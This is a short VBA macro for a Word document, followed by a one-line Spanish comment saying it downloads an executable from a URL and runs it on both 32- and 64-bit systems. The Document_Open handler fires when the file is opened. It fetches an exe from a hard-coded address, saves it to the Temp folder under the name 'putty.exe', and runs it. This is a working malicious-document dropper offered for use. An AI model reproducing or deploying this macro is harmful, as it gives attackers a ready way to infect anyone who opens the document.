#If Win64 Then
Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)
#Else
Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long)
#End If
Sub ToggleHyperlinkCtrlClick()
Options.CtrlClickHyperlinkToOpen = Not Options.CtrlClickHyperlinkToOpen
End Sub
Sub Document_Open()
DownloadAndExecute
End Sub
Sub DownloadAndExecute()
Dim URL AS String
Dim FILE AS String
URL = "http://192.168.0.2/hfs287.exe"
FILE = Environ("Temp") & "\" & "putty" & ".exe"
URLDownloadToFileA 0, URL, FILE, 0, 0
If Len(Dir(FILE)) > 0 Then
Shell FILE, vbNormalFocus
End If
End Sub
Con este macro le agregas la url del archivo exe a descargar y este de lo descarga y executa. Funciona para 32 y 64 bits.